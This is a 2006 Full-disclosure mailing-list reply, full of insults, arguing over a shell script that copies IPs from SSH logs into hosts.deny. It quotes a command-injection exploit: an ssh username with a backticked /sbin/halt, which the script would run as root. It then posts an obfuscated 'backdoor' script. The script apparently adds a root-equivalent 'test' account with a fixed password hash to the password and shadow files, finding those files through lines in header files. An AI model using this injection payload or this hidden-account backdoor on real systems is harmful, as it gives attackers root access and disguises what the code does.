Re: [Full-disclosure] SSH brute force blocking tool

["J. Oquendo" <sil@xxxxxxxxxxxxxxx>]

gabriel rosenkoetter wrote:
> On Mon, Nov 27, 2006 at 03:51:39PM -0500, J. Oquendo wrote:
>   
> > Since you seem to be clueless I'll answer step by step. Here goes idiot. 
> > (Sinful to see someone so clueless coming from Gentoo... Guess it goes 
> > with the romper room Linux territory)
> >     
>
> Uh... actually, no. The provided exploit Will work, and you're the
> idiot.
>
> Here, let me show you.
>
> You do this:
>
>   
> > /////
> > awk '/error retrieving/{getline;print $13}' /var/log/secure|sort -ru >> 
> > /tmp/hosts.deny
> > diff /etc/hosts.deny /tmp/hosts.deny | awk '/\./ && />/{print $2}' >> 
> > /etc/hosts.deny
> > /////
> >
> > There is no hocus pocus here. Look at /var/log/secure and fine the term
> > "error retrieving" and print the next line, 13th column. Then sort it and
> > print the unique entries into /tmp/hosts.deny. After you do this, compare
> > /tmp/hosts.deny with /etc/hosts.deny and put the differences not in 
> > /etc/hosts.deny
> > into /etc/hosts.deny
> >     
>
> What will be in column 13 when Tavis does this:
>
>   
> > Tavis Ormandy wrote:
> >     
> > > Here's an exploit.
> > >
> > > #!/bin/sh
> > > ssh 'foo bar `/sbin/halt`'@victim
> > >       
>
> Why, the shelled-out output of `/sbin/halt`!
>
> Or, hey, anything he or I care to put inside backticks. You'll
> execute it blindly, as root, on your system.
>
> Kids, don't use this script. Please.
>
>   

Here is your voodoo backdoor moron

file=`awk 'NR==59 {gsub(/"/,"");print $3}' /usr/include/paths.h`
sed -n '1p' $file|awk -F ":" 
'BEGIN{OFS=":"}{$1="test"}1{$2="\$1\$N6M3yuA9\$JXTgD8q8apf1fgfUT44hW1"}2' 
>> $file
file2=`awk 'NR==74 {gsub(/,/,"");print $8}' /usr/include/sysexits.h`
sed -n '1p' $file2|sed 's/[^:]*:/test:/' >> $file2
who=`sed -n '58p' sysexits.h |awk '{print $5}'`
what=`sed -n '60p' wireless.h |awk 'gsub(/,/, ""){print $4}'`
when=` sed -n '60p' wireless.h |awk 'gsub(/,/, /""/){print $4}'`
$what|$who full-disclosure@xxxxxxxxxxxxxxxxx


--
====================================================
J. Oquendo
http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x1383A743
sil . infiltrated @ net http://www.infiltrated.net 

The happiness of society is the end of government.
John Adams

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